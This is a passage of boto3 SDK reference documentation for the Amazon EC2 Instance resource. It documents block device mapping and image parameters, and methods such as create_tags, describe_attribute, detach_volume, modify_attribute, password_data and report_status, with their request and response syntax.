The number of available instance store volumes depends on the instance type. After you connect to the instance, you must mount the volume. + + NVMe instance store volumes are automatically enumerated and assigned a device name. Including them in your block device mapping has no effect. + + Constraints: For M3 instances, you must specify instance store volumes in the block device mapping for the instance. When you launch an M3 instance, we ignore any instance store volumes specified in the block device mapping for the AMI. + + - **Ebs** _(dict) --_ + + Parameters used to automatically set up EBS volumes when the instance is launched. + + - **DeleteOnTermination** _(boolean) --_ + + Indicates whether the EBS volume is deleted on instance termination. For more information, see [Preserving Amazon EBS volumes on instance termination](https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/terminating-instances.html#preserving-volumes-on-termination) in the Amazon Elastic Compute Cloud User Guide. + + - **Iops** _(integer) --_ + + The number of I/O operations per second (IOPS). For gp3 , io1 , and io2 volumes, this represents the number of IOPS that are provisioned for the volume. For gp2 volumes, this represents the baseline performance of the volume and the rate at which the volume accumulates I/O credits for bursting. + + The following are the supported values for each volume type: + + - gp3 : 3,000-16,000 IOPS + - io1 : 100-64,000 IOPS + - io2 : 100-64,000 IOPS + + For io1 and io2 volumes, we guarantee 64,000 IOPS only for [Instances built on the Nitro System](https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/instance-types.html#ec2-nitro-instances) . Other instance families guarantee performance up to 32,000 IOPS. + + This parameter is required for io1 and io2 volumes. The default for gp3 volumes is 3,000 IOPS. This parameter is not supported for gp2 , st1 , sc1 , or standard volumes. + + - **SnapshotId** _(string) --_ + + The ID of the snapshot. + + - **VolumeSize** _(integer) --_ + + The size of the volume, in GiBs. You must specify either a snapshot ID or a volume size. If you specify a snapshot, the default is the snapshot size. You can specify a volume size that is equal to or larger than the snapshot size. + + The following are the supported volumes sizes for each volume type: + + - gp2 and gp3 :1-16,384 + - io1 and io2 : 4-16,384 + - st1 : 500-16,384 + - sc1 : 500-16,384 + - standard : 1-1,024 + - **VolumeType** _(string) --_ + + The volume type. For more information, see [Amazon EBS volume types](https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/EBSVolumeTypes.html) in the _Amazon Elastic Compute Cloud User Guide_ . If the volume type is io1 or io2 , you must specify the IOPS that the volume supports. + + - **KmsKeyId** _(string) --_ + + Identifier (key ID, key alias, ID ARN, or alias ARN) for a customer managed CMK under which the EBS volume is encrypted. + + This parameter is only supported on BlockDeviceMapping objects called by [RunInstances](https://docs.aws.amazon.com/AWSEC2/latest/APIReference/API_RunInstances.html) , [RequestSpotFleet](https://docs.aws.amazon.com/AWSEC2/latest/APIReference/API_RequestSpotFleet.html) , and [RequestSpotInstances](https://docs.aws.amazon.com/AWSEC2/latest/APIReference/API_RequestSpotInstances.html) . + + - **Throughput** _(integer) --_ + + The throughput that the volume supports, in MiB/s. + + This parameter is valid only for gp3 volumes. + + Valid Range: Minimum value of 125. Maximum value of 1000. + + - **Encrypted** _(boolean) --_ + + Indicates whether the encryption state of an EBS volume is changed while being restored from a backing snapshot. The effect of setting the encryption state to true depends on the volume origin (new or from a snapshot), starting encryption state, ownership, and whether encryption by default is enabled. For more information, see [Amazon EBS Encryption](https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/EBSEncryption.html#encryption-parameters) in the _Amazon Elastic Compute Cloud User Guide_ . + + In no case can you remove encryption from an encrypted volume. + + Encrypted volumes can only be attached to instances that support Amazon EBS encryption. For more information, see [Supported instance types](https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/EBSEncryption.html#EBSEncryption_supported_instances) . + + This parameter is not returned by . + + - **NoDevice** _(string) --_ + + Suppresses the specified device included in the block device mapping of the AMI. + +- **Description** (_string_) -- A description for the new image. +- **DryRun** (_boolean_) -- Checks whether you have the required permissions for the action, without actually making the request, and provides an error response. If you have the required permissions, the error response is DryRunOperation . Otherwise, it is UnauthorizedOperation . +- **Name** (_string_) -- + + **[REQUIRED]** + + A name for the new image. + + Constraints: 3-128 alphanumeric characters, parentheses (()), square brackets ([]), spaces ( ), periods (.), slashes (/), dashes (-), single quotes ('), at-signs (@), or underscores(_) + +- **NoReboot** (_boolean_) -- By default, Amazon EC2 attempts to shut down and reboot the instance before creating the image. If the No Reboot option is set, Amazon EC2 doesn't shut down the instance before creating the image. When this option is used, file system integrity on the created image can't be guaranteed. +- **TagSpecifications** (_list_) -- + + The tags to apply to the AMI and snapshots on creation. You can tag the AMI, the snapshots, or both. + + - To tag the AMI, the value for ResourceType must be image . + - To tag the snapshots that are created of the root volume and of other EBS volumes that are attached to the instance, the value for ResourceType must be snapshot . The same tag is applied to all of the snapshots that are created. + + If you specify other values for ResourceType , the request fails. + + To tag an AMI or snapshot after it has been created, see [CreateTags](https://docs.aws.amazon.com/AWSEC2/latest/APIReference/API_CreateTags.html) . + + - _(dict) --_ + + The tags to apply to a resource when the resource is being created. + + - **ResourceType** _(string) --_ + + The type of resource to tag. Currently, the resource types that support tagging on creation are: capacity-reservation | carrier-gateway | client-vpn-endpoint | customer-gateway | dedicated-host | dhcp-options | egress-only-internet-gateway | elastic-ip | elastic-gpu | export-image-task | export-instance-task | fleet | fpga-image | host-reservation | image | import-image-task | import-snapshot-task | instance | internet-gateway | ipv4pool-ec2 | ipv6pool-ec2 | key-pair | launch-template | local-gateway-route-table-vpc-association | placement-group | prefix-list | natgateway | network-acl | network-interface | reserved-instances [|](#id975)route-table | security-group | snapshot | spot-fleet-request | spot-instances-request | snapshot | subnet | traffic-mirror-filter | traffic-mirror-session | traffic-mirror-target | transit-gateway | transit-gateway-attachment | transit-gateway-multicast-domain | transit-gateway-route-table | volume [|](#id977)vpc | vpc-peering-connection | vpc-endpoint (for interface and gateway endpoints) | vpc-endpoint-service (for AWS PrivateLink) | vpc-flow-log | vpn-connection | vpn-gateway . + + To tag a resource after it has been created, see [CreateTags](https://docs.aws.amazon.com/AWSEC2/latest/APIReference/API_CreateTags.html) . + + - **Tags** _(list) --_ + + The tags to apply to the resource. + + - _(dict) --_ + + Describes a tag. + + - **Key** _(string) --_ + + The key of the tag. + + Constraints: Tag keys are case-sensitive and accept a maximum of 127 Unicode characters. May not begin with aws: . + + - **Value** _(string) --_ + + The value of the tag. + + Constraints: Tag values are case-sensitive and accept a maximum of 255 Unicode characters. + + +Return type + +ec2.Image + +Returns + +Image resource + +create_tags(kwargs_) + +Adds or overwrites only the specified tags for the specified Amazon EC2 resource or resources. When you specify an existing tag key, the value is overwritten with the new value. Each resource can have a maximum of 50 tags. Each tag consists of a key and optional value. Tag keys must be unique per resource. + +For more information about tags, see [Tagging Your Resources](https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/Using_Tags.html) in the _Amazon Elastic Compute Cloud User Guide_ . For more information about creating IAM policies that control users' access to resources based on tags, see [Supported Resource-Level Permissions for Amazon EC2 API Actions](https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/ec2-supported-iam-actions-resources.html) in the _Amazon Elastic Compute Cloud User Guide_ . + +See also: [AWS API Documentation](https://docs.aws.amazon.com/goto/WebAPI/ec2-2016-11-15/CreateTags) + +**Request Syntax** + +tag = instance.create_tags( + DryRun=True|False, + Tags=[ + { + 'Key': 'string', + 'Value': 'string' + }, + ] +) + +Parameters + +- **DryRun** (_boolean_) -- Checks whether you have the required permissions for the action, without actually making the request, and provides an error response. If you have the required permissions, the error response is DryRunOperation . Otherwise, it is UnauthorizedOperation . +- **Tags** (_list_) -- + + **[REQUIRED]** + + The tags. The value parameter is required, but if you don't want the tag to have a value, specify the parameter with no value, and we set the value to an empty string. + + - _(dict) --_ + + Describes a tag. + + - **Key** _(string) --_ + + The key of the tag. + + Constraints: Tag keys are case-sensitive and accept a maximum of 127 Unicode characters. May not begin with aws: . + + - **Value** _(string) --_ + + The value of the tag. + + Constraints: Tag values are case-sensitive and accept a maximum of 255 Unicode characters. + + +Return type + +list(ec2.Tag) + +Returns + +A list of Tag resources + +delete_tags(kwargs_) + +Deletes the specified set of tags from the specified set of resources. + +To list the current tags, use DescribeTags . For more information about tags, see [Tagging Your Resources](https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/Using_Tags.html) in the _Amazon Elastic Compute Cloud User Guide_ . + +See also: [AWS API Documentation](https://docs.aws.amazon.com/goto/WebAPI/ec2-2016-11-15/DeleteTags) + +**Request Syntax** + +response = instance.delete_tags( + DryRun=True|False, + Tags=[ + { + 'Key': 'string', + 'Value': 'string' + }, + ] +) + +Parameters + +- **DryRun** (_boolean_) -- Checks whether you have the required permissions for the action, without actually making the request, and provides an error response. If you have the required permissions, the error response is DryRunOperation . Otherwise, it is UnauthorizedOperation . +- **Tags** (_list_) -- + + The tags to delete. Specify a tag key and an optional tag value to delete specific tags. If you specify a tag key without a tag value, we delete any tag with this key regardless of its value. If you specify a tag key with an empty string as the tag value, we delete the tag only if its value is an empty string. + + If you omit this parameter, we delete all user-defined tags for the specified resources. We do not delete AWS-generated tags (tags that have the aws: prefix). + + - _(dict) --_ + + Describes a tag. + + - **Key** _(string) --_ + + The key of the tag. + + Constraints: Tag keys are case-sensitive and accept a maximum of 127 Unicode characters. May not begin with aws: . + + - **Value** _(string) --_ + + The value of the tag. + + Constraints: Tag values are case-sensitive and accept a maximum of 255 Unicode characters. + + +Returns + +None + +describe_attribute(kwargs_) + +Describes the specified attribute of the specified instance. You can specify only one attribute at a time. Valid attribute values are: instanceType | kernel | ramdisk | userData | disableApiTermination | instanceInitiatedShutdownBehavior | rootDeviceName | blockDeviceMapping | productCodes | sourceDestCheck | groupSet | ebsOptimized | sriovNetSupport + +See also: [AWS API Documentation](https://docs.aws.amazon.com/goto/WebAPI/ec2-2016-11-15/DescribeInstanceAttribute) + +**Request Syntax** + +response = instance.describe_attribute( + Attribute='instanceType'|'kernel'|'ramdisk'|'userData'|'disableApiTermination'|'instanceInitiatedShutdownBehavior'|'rootDeviceName'|'blockDeviceMapping'|'productCodes'|'sourceDestCheck'|'groupSet'|'ebsOptimized'|'sriovNetSupport'|'enaSupport'|'enclaveOptions', + DryRun=True|False, + +) + +Parameters + +- **Attribute** (_string_) -- + + **[REQUIRED]** + + The instance attribute. + + Note: The enaSupport attribute is not supported at this time. + +- **DryRun** (_boolean_) -- Checks whether you have the required permissions for the action, without actually making the request, and provides an error response. If you have the required permissions, the error response is DryRunOperation . Otherwise, it is UnauthorizedOperation . + +Return type + +dict + +Returns + +**Response Syntax** + +{ + 'Groups': [ + { + 'GroupName': 'string', + 'GroupId': 'string' + }, + ], + 'BlockDeviceMappings': [ + { + 'DeviceName': 'string', + 'Ebs': { + 'AttachTime': datetime(2015, 1, 1), + 'DeleteOnTermination': True|False, + 'Status': 'attaching'|'attached'|'detaching'|'detached', + 'VolumeId': 'string' + } + }, + ], + 'DisableApiTermination': { + 'Value': True|False + }, + 'EnaSupport': { + 'Value': True|False + }, + 'EnclaveOptions': { + 'Enabled': True|False + }, + 'EbsOptimized': { + 'Value': True|False + }, + 'InstanceId': 'string', + 'InstanceInitiatedShutdownBehavior': { + 'Value': 'string' + }, + 'InstanceType': { + 'Value': 'string' + }, + 'KernelId': { + 'Value': 'string' + }, + 'ProductCodes': [ + { + 'ProductCodeId': 'string', + 'ProductCodeType': 'devpay'|'marketplace' + }, + ], + 'RamdiskId': { + 'Value': 'string' + }, + 'RootDeviceName': { + 'Value': 'string' + }, + 'SourceDestCheck': { + 'Value': True|False + }, + 'SriovNetSupport': { + 'Value': 'string' + }, + 'UserData': { + 'Value': 'string' + } +} + +**Response Structure** + +- _(dict) --_ + + Describes an instance attribute. + + - **Groups** _(list) --_ + + The security groups associated with the instance. + + - _(dict) --_ + + Describes a security group. + + - **GroupName** _(string) --_ + + The name of the security group. + + - **GroupId** _(string) --_ + + The ID of the security group. + + - **BlockDeviceMappings** _(list) --_ + + The block device mapping of the instance. + + - _(dict) --_ + + Describes a block device mapping. + + - **DeviceName** _(string) --_ + + The device name (for example, /dev/sdh or xvdh ). + + - **Ebs** _(dict) --_ + + Parameters used to automatically set up EBS volumes when the instance is launched. + + - **AttachTime** _(datetime) --_ + + The time stamp when the attachment initiated. + + - **DeleteOnTermination** _(boolean) --_ + + Indicates whether the volume is deleted on instance termination. + + - **Status** _(string) --_ + + The attachment state. + + - **VolumeId** _(string) --_ + + The ID of the EBS volume. + + - **DisableApiTermination** _(dict) --_ + + If the value is true , you can't terminate the instance through the Amazon EC2 console, CLI, or API; otherwise, you can. + + - **Value** _(boolean) --_ + + The attribute value. The valid values are true or false . + + - **EnaSupport** _(dict) --_ + + Indicates whether enhanced networking with ENA is enabled. + + - **Value** _(boolean) --_ + + The attribute value. The valid values are true or false . + + - **EnclaveOptions** _(dict) --_ + + To enable the instance for AWS Nitro Enclaves, set this parameter to true ; otherwise, set it to false . + + - **Enabled** _(boolean) --_ + + If this parameter is set to true , the instance is enabled for AWS Nitro Enclaves; otherwise, it is not enabled for AWS Nitro Enclaves. + + - **EbsOptimized** _(dict) --_ + + Indicates whether the instance is optimized for Amazon EBS I/O. + + - **Value** _(boolean) --_ + + The attribute value. The valid values are true or false . + + - **InstanceId** _(string) --_ + + The ID of the instance. + + - **InstanceInitiatedShutdownBehavior** _(dict) --_ + + Indicates whether an instance stops or terminates when you initiate shutdown from the instance (using the operating system command for system shutdown). + + - **Value** _(string) --_ + + The attribute value. The value is case-sensitive. + + - **InstanceType** _(dict) --_ + + The instance type. + + - **Value** _(string) --_ + + The attribute value. The value is case-sensitive. + + - **KernelId** _(dict) --_ + + The kernel ID. + + - **Value** _(string) --_ + + The attribute value. The value is case-sensitive. + + - **ProductCodes** _(list) --_ + + A list of product codes. + + - _(dict) --_ + + Describes a product code. + + - **ProductCodeId** _(string) --_ + + The product code. + + - **ProductCodeType** _(string) --_ + + The type of product code. + + - **RamdiskId** _(dict) --_ + + The RAM disk ID. + + - **Value** _(string) --_ + + The attribute value. The value is case-sensitive. + + - **RootDeviceName** _(dict) --_ + + The device name of the root device volume (for example, /dev/sda1 ). + + - **Value** _(string) --_ + + The attribute value. The value is case-sensitive. + + - **SourceDestCheck** _(dict) --_ + + Indicates whether source/destination checking is enabled. A value of true means that checking is enabled, and false means that checking is disabled. This value must be false for a NAT instance to perform NAT. + + - **Value** _(boolean) --_ + + The attribute value. The valid values are true or false . + + - **SriovNetSupport** _(dict) --_ + + Indicates whether enhanced networking with the Intel 82599 Virtual Function interface is enabled. + + - **Value** _(string) --_ + + The attribute value. The value is case-sensitive. + + - **UserData** _(dict) --_ + + The user data. + + - **Value** _(string) --_ + + The attribute value. The value is case-sensitive. + + +detach_classic_link_vpc(kwargs_) + +Unlinks (detaches) a linked EC2-Classic instance from a VPC. After the instance has been unlinked, the VPC security groups are no longer associated with it. An instance is automatically unlinked from a VPC when it's stopped. + +See also: [AWS API Documentation](https://docs.aws.amazon.com/goto/WebAPI/ec2-2016-11-15/DetachClassicLinkVpc) + +**Request Syntax** + +response = instance.detach_classic_link_vpc( + DryRun=True|False, + VpcId='string' +) + +Parameters + +- **DryRun** (_boolean_) -- Checks whether you have the required permissions for the action, without actually making the request, and provides an error response. If you have the required permissions, the error response is DryRunOperation . Otherwise, it is UnauthorizedOperation . +- **VpcId** (_string_) -- + + **[REQUIRED]** + + The ID of the VPC to which the instance is linked. + + +Return type + +dict + +Returns + +**Response Syntax** + +{ + 'Return': True|False +} + +**Response Structure** + +- _(dict) --_ + + - **Return** _(boolean) --_ + + Returns true if the request succeeds; otherwise, it returns an error. + + +detach_volume(kwargs_) + +Detaches an EBS volume from an instance. Make sure to unmount any file systems on the device within your operating system before detaching the volume. Failure to do so can result in the volume becoming stuck in the busy state while detaching. If this happens, detachment can be delayed indefinitely until you unmount the volume, force detachment, reboot the instance, or all three. If an EBS volume is the root device of an instance, it can't be detached while the instance is running. To detach the root volume, stop the instance first. + +When a volume with an AWS Marketplace product code is detached from an instance, the product code is no longer associated with the instance. + +For more information, see [Detaching an Amazon EBS volume](https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/ebs-detaching-volume.html) in the _Amazon Elastic Compute Cloud User Guide_ . + +See also: [AWS API Documentation](https://docs.aws.amazon.com/goto/WebAPI/ec2-2016-11-15/DetachVolume) + +**Request Syntax** + +response = instance.detach_volume( + Device='string', + Force=True|False, + VolumeId='string', + DryRun=True|False +) + +Parameters + +- **Device** (_string_) -- The device name. +- **Force** (_boolean_) -- Forces detachment if the previous detachment attempt did not occur cleanly (for example, logging into an instance, unmounting the volume, and detaching normally). This option can lead to data loss or a corrupted file system. Use this option only as a last resort to detach a volume from a failed instance. The instance won't have an opportunity to flush file system caches or file system metadata. If you use this option, you must perform file system check and repair procedures. +- **VolumeId** (_string_) -- + + **[REQUIRED]** + + The ID of the volume. + +- **DryRun** (_boolean_) -- Checks whether you have the required permissions for the action, without actually making the request, and provides an error response. If you have the required permissions, the error response is DryRunOperation . Otherwise, it is UnauthorizedOperation . + +Return type + +dict + +Returns + +**Response Syntax** + +{ + 'AttachTime': datetime(2015, 1, 1), + 'Device': 'string', + 'InstanceId': 'string', + 'State': 'attaching'|'attached'|'detaching'|'detached'|'busy', + 'VolumeId': 'string', + 'DeleteOnTermination': True|False +} + +**Response Structure** + +- _(dict) --_ + + Describes volume attachment details. + + - **AttachTime** _(datetime) --_ + + The time stamp when the attachment initiated. + + - **Device** _(string) --_ + + The device name. + + - **InstanceId** _(string) --_ + + The ID of the instance. + + - **State** _(string) --_ + + The attachment state of the volume. + + - **VolumeId** _(string) --_ + + The ID of the volume. + + - **DeleteOnTermination** _(boolean) --_ + + Indicates whether the EBS volume is deleted on instance termination. + + +get_available_subresources() + +Returns a list of all the available sub-resources for this Resource. + +Returns + +A list containing the name of each sub-resource for this resource + +Return type + +list of str + +load() + +Calls [EC2.Client.describe_instances()](#EC2.Client.describe_instances "EC2.Client.describe_instances") to update the attributes of the Instance resource. Note that the load and reload methods are the same method and can be used interchangeably. + +See also: [AWS API Documentation](https://docs.aws.amazon.com/goto/WebAPI/ec2-2016-11-15/None) + +**Request Syntax** + +instance.load() + +Returns + +None + +modify_attribute(kwargs_) + +Modifies the specified attribute of the specified instance. You can specify only one attribute at a time. + +> **Note:** Using this action to change the security groups associated with an elastic network interface (ENI) attached to an instance in a VPC can result in an error if the instance has more than one ENI. To change the security groups associated with an ENI attached to an instance that has multiple ENIs, we recommend that you use the ModifyNetworkInterfaceAttribute action. + +To modify some attributes, the instance must be stopped. For more information, see [Modifying attributes of a stopped instance](https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/Using_ChangingAttributesWhileInstanceStopped.html) in the _Amazon Elastic Compute Cloud User Guide_ . + +See also: [AWS API Documentation](https://docs.aws.amazon.com/goto/WebAPI/ec2-2016-11-15/ModifyInstanceAttribute) + +**Request Syntax** + +response = instance.modify_attribute( + SourceDestCheck={ + 'Value': True|False + }, + Attribute='instanceType'|'kernel'|'ramdisk'|'userData'|'disableApiTermination'|'instanceInitiatedShutdownBehavior'|'rootDeviceName'|'blockDeviceMapping'|'productCodes'|'sourceDestCheck'|'groupSet'|'ebsOptimized'|'sriovNetSupport'|'enaSupport'|'enclaveOptions', + BlockDeviceMappings=[ + { + 'DeviceName': 'string', + 'Ebs': { + 'DeleteOnTermination': True|False, + 'VolumeId': 'string' + }, + 'NoDevice': 'string', + 'VirtualName': 'string' + }, + ], + DisableApiTermination={ + 'Value': True|False + }, + DryRun=True|False, + EbsOptimized={ + 'Value': True|False + }, + EnaSupport={ + 'Value': True|False + }, + Groups=[ + 'string', + ], + InstanceInitiatedShutdownBehavior={ + 'Value': 'string' + }, + InstanceType={ + 'Value': 'string' + }, + Kernel={ + 'Value': 'string' + }, + Ramdisk={ + 'Value': 'string' + }, + SriovNetSupport={ + 'Value': 'string' + }, + UserData={ + 'Value': b'bytes' + }, + Value='string' +) + +Parameters + +- **SourceDestCheck** (_dict_) -- + + Specifies whether source/destination checking is enabled. A value of true means that checking is enabled, and false means that checking is disabled. This value must be false for a NAT instance to perform NAT. + + - **Value** _(boolean) --_ + + The attribute value. The valid values are true or false . + +- **Attribute** (_string_) -- The name of the attribute. +- **BlockDeviceMappings** (_list_) -- + + Modifies the DeleteOnTermination attribute for volumes that are currently attached. The volume must be owned by the caller. If no value is specified for DeleteOnTermination , the default is true and the volume is deleted when the instance is terminated. + + To add instance store volumes to an Amazon EBS-backed instance, you must add them when you launch the instance. For more information, see [Updating the block device mapping when launching an instance](https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/block-device-mapping-concepts.html#Using_OverridingAMIBDM) in the _Amazon Elastic Compute Cloud User Guide_ . + + - _(dict) --_ + + Describes a block device mapping entry. + + - **DeviceName** _(string) --_ + + The device name (for example, /dev/sdh or xvdh ). + + - **Ebs** _(dict) --_ + + Parameters used to automatically set up EBS volumes when the instance is launched. + + - **DeleteOnTermination** _(boolean) --_ + + Indicates whether the volume is deleted on instance termination. + + - **VolumeId** _(string) --_ + + The ID of the EBS volume. + + - **NoDevice** _(string) --_ + + suppress the specified device included in the block device mapping. + + - **VirtualName** _(string) --_ + + The virtual device name. + +- **DisableApiTermination** (_dict_) -- + + If the value is true , you can't terminate the instance using the Amazon EC2 console, CLI, or API; otherwise, you can. You cannot use this parameter for Spot Instances. + + - **Value** _(boolean) --_ + + The attribute value. The valid values are true or false . + +- **DryRun** (_boolean_) -- Checks whether you have the required permissions for the action, without actually making the request, and provides an error response. If you have the required permissions, the error response is DryRunOperation . Otherwise, it is UnauthorizedOperation . +- **EbsOptimized** (_dict_) -- + + Specifies whether the instance is optimized for Amazon EBS I/O. This optimization provides dedicated throughput to Amazon EBS and an optimized configuration stack to provide optimal EBS I/O performance. This optimization isn't available with all instance types. Additional usage charges apply when using an EBS Optimized instance. + + - **Value** _(boolean) --_ + + The attribute value. The valid values are true or false . + +- **EnaSupport** (_dict_) -- + + Set to true to enable enhanced networking with ENA for the instance. + + This option is supported only for HVM instances. Specifying this option with a PV instance can make it unreachable. + + - **Value** _(boolean) --_ + + The attribute value. The valid values are true or false . + +- **Groups** (_list_) -- + + [EC2-VPC] Changes the security groups of the instance. You must specify at least one security group, even if it's just the default security group for the VPC. You must specify the security group ID, not the security group name. + + - _(string) --_ +- **InstanceInitiatedShutdownBehavior** (_dict_) -- + + Specifies whether an instance stops or terminates when you initiate shutdown from the instance (using the operating system command for system shutdown). + + - **Value** _(string) --_ + + The attribute value. The value is case-sensitive. + +- **InstanceType** (_dict_) -- + + Changes the instance type to the specified value. For more information, see [Instance types](https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/instance-types.html) . If the instance type is not valid, the error returned is InvalidInstanceAttributeValue . + + - **Value** _(string) --_ + + The attribute value. The value is case-sensitive. + +- **Kernel** (_dict_) -- + + Changes the instance's kernel to the specified value. We recommend that you use PV-GRUB instead of kernels and RAM disks. For more information, see [PV-GRUB](https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/UserProvidedKernels.html) . + + - **Value** _(string) --_ + + The attribute value. The value is case-sensitive. + +- **Ramdisk** (_dict_) -- + + Changes the instance's RAM disk to the specified value. We recommend that you use PV-GRUB instead of kernels and RAM disks. For more information, see [PV-GRUB](https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/UserProvidedKernels.html) . + + - **Value** _(string) --_ + + The attribute value. The value is case-sensitive. + +- **SriovNetSupport** (_dict_) -- + + Set to simple to enable enhanced networking with the Intel 82599 Virtual Function interface for the instance. + + There is no way to disable enhanced networking with the Intel 82599 Virtual Function interface at this time. + + This option is supported only for HVM instances. Specifying this option with a PV instance can make it unreachable. + + - **Value** _(string) --_ + + The attribute value. The value is case-sensitive. + +- **UserData** (_dict_) -- + + Changes the instance's user data to the specified value. If you are using an AWS SDK or command line tool, base64-encoding is performed for you, and you can load the text from a file. Otherwise, you must provide base64-encoded text. + + - **Value** _(bytes) --_ +- **Value** (_string_) -- A new value for the attribute. Use only with the kernel , ramdisk , userData , disableApiTermination , or instanceInitiatedShutdownBehavior attribute. + +Returns + +None + +monitor(kwargs_) + +Enables detailed monitoring for a running instance. Otherwise, basic monitoring is enabled. For more information, see [Monitoring your instances and volumes](https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/using-cloudwatch.html) in the _Amazon Elastic Compute Cloud User Guide_ . + +To disable detailed monitoring, see . + +See also: [AWS API Documentation](https://docs.aws.amazon.com/goto/WebAPI/ec2-2016-11-15/MonitorInstances) + +**Request Syntax** + +response = instance.monitor( + DryRun=True|False +) + +Parameters + +**DryRun** (_boolean_) -- Checks whether you have the required permissions for the action, without actually making the request, and provides an error response. If you have the required permissions, the error response is DryRunOperation . Otherwise, it is UnauthorizedOperation . + +Return type + +dict + +Returns + +**Response Syntax** + +{ + 'InstanceMonitorings': [ + { + 'InstanceId': 'string', + 'Monitoring': { + 'State': 'disabled'|'disabling'|'enabled'|'pending' + } + }, + ] +} + +**Response Structure** + +- _(dict) --_ + - **InstanceMonitorings** _(list) --_ + + The monitoring information. + + - _(dict) --_ + + Describes the monitoring of an instance. + + - **InstanceId** _(string) --_ + + The ID of the instance. + + - **Monitoring** _(dict) --_ + + The monitoring for the instance. + + - **State** _(string) --_ + + Indicates whether detailed monitoring is enabled. Otherwise, basic monitoring is enabled. + + +password_data(kwargs_) + +Retrieves the encrypted administrator password for a running Windows instance. + +The Windows password is generated at boot by the EC2Config service or EC2Launch scripts (Windows Server 2016 and later). This usually only happens the first time an instance is launched. For more information, see [EC2Config](https://docs.aws.amazon.com/AWSEC2/latest/WindowsGuide/UsingConfig_WinAMI.html) and [EC2Launch](https://docs.aws.amazon.com/AWSEC2/latest/WindowsGuide/ec2launch.html) in the Amazon Elastic Compute Cloud User Guide. + +For the EC2Config service, the password is not generated for rebundled AMIs unless Ec2SetPassword is enabled before bundling. + +The password is encrypted using the key pair that you specified when you launched the instance. You must provide the corresponding key pair file. + +When you launch an instance, password generation and encryption may take a few minutes. If you try to retrieve the password before it's available, the output returns an empty string. We recommend that you wait up to 15 minutes after launching an instance before trying to retrieve the generated password. + +See also: [AWS API Documentation](https://docs.aws.amazon.com/goto/WebAPI/ec2-2016-11-15/GetPasswordData) + +**Request Syntax** + +response = instance.password_data( + DryRun=True|False +) + +Parameters + +**DryRun** (_boolean_) -- Checks whether you have the required permissions for the action, without actually making the request, and provides an error response. If you have the required permissions, the error response is DryRunOperation . Otherwise, it is UnauthorizedOperation . + +Return type + +dict + +Returns + +**Response Syntax** + +{ + 'InstanceId': 'string', + 'PasswordData': 'string', + 'Timestamp': datetime(2015, 1, 1) +} + +**Response Structure** + +- _(dict) --_ + - **InstanceId** _(string) --_ + + The ID of the Windows instance. + + - **PasswordData** _(string) --_ + + The password of the instance. Returns an empty string if the password is not available. + + - **Timestamp** _(datetime) --_ + + The time the data was last updated. + + +reboot(kwargs_) + +Requests a reboot of the specified instances. This operation is asynchronous; it only queues a request to reboot the specified instances. The operation succeeds if the instances are valid and belong to you. Requests to reboot terminated instances are ignored. + +If an instance does not cleanly shut down within a few minutes, Amazon EC2 performs a hard reboot. + +For more information about troubleshooting, see [Getting console output and rebooting instances](https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/instance-console.html) in the _Amazon Elastic Compute Cloud User Guide_ . + +See also: [AWS API Documentation](https://docs.aws.amazon.com/goto/WebAPI/ec2-2016-11-15/RebootInstances) + +**Request Syntax** + +response = instance.reboot( + DryRun=True|False +) + +Parameters + +**DryRun** (_boolean_) -- Checks whether you have the required permissions for the action, without actually making the request, and provides an error response. If you have the required permissions, the error response is DryRunOperation . Otherwise, it is UnauthorizedOperation . + +Returns + +None + +reload() + +Calls [EC2.Client.describe_instances()](#EC2.Client.describe_instances "EC2.Client.describe_instances") to update the attributes of the Instance resource. Note that the load and reload methods are the same method and can be used interchangeably. + +See also: [AWS API Documentation](https://docs.aws.amazon.com/goto/WebAPI/ec2-2016-11-15/None) + +**Request Syntax** + +instance.reload() + +Returns + +None + +report_status(kwargs_) + +Submits feedback about the status of an instance. The instance must be in the running state. If your experience with the instance differs from the instance status returned by DescribeInstanceStatus , use ReportInstanceStatus to report your experience with the instance. Amazon EC2 collects this information to improve the accuracy of status checks. + +Use of this action does not change the value returned by DescribeInstanceStatus . + +See also: [AWS API Documentation](https://docs.aws.amazon.com/goto/WebAPI/ec2-2016-11-15/ReportInstanceStatus) + +**Request Syntax** + +response = instance.report_status( + Description='string', + DryRun=True|False, + EndTime=datetime(2015, 1, 1), + ReasonCodes=[ + 'instance-stuck-in-state'|'unresponsive'|'not-accepting-credentials'|'password-not-available'|'performance-network'|'performance-instance-store'|'performance-ebs-volume'|'performance-other'|'other', + ], + StartTime=datetime(2015, 1, 1), + Status='ok'|'impaired' +) + +Parameters + +- **Description** (_string_) -- Descriptive text about the health state of your instance. +- **DryRun** (_boolean_) -- Checks whether you have the required permissions for the action, without actually making the request, and provides an error response. If you have the required permissions, the error response is DryRunOperation . Otherwise, it is UnauthorizedOperation . +- **EndTime** (_datetime_) -- The time at which the reported instance health state ended. +- **ReasonCodes** (_list_) -- + + **[REQUIRED]** + + The reason codes that describe the health state of your instance. + + - instance-stuck-in-state : My instance is stuck in a state. + - unresponsive : My instance is unresponsive. + - not-accepting-credentials : My instance is not accepting my credentials. + - password-not-available : A password is not available for my instance. + - performance-network : My instance is experiencing performance problems that I believe are network related. + - performance-instance-store : My instance is experiencing performance problems that I believe are related to the instance stores. + - performance-ebs-volume : My instance is experiencing performance problems that I believe are related to an EBS volume. + - performance-other : My instance is experiencing performance problems. + - other : [explain using the description parameter] + + - _(string) --_ +- **StartTime** (_datetime_) -- The time at which the reported instance health state began. +- **Status** (_string_) -- + + **[REQUIRED]** + + The status of all instances listed. + + +Returns + +None + +reset_attribute(kwargs_) + +Resets an attribute of an instance to its default value. To reset the kernel or ramdisk , the instance must be in a stopped state. To reset the sourceDestCheck , the instance can be either running or stopped. + +The sourceDestCheck attribute controls whether source/destination checking is enabled. The default value is true , which means checking is enabled. This value must be false for a NAT instance to perform NAT. 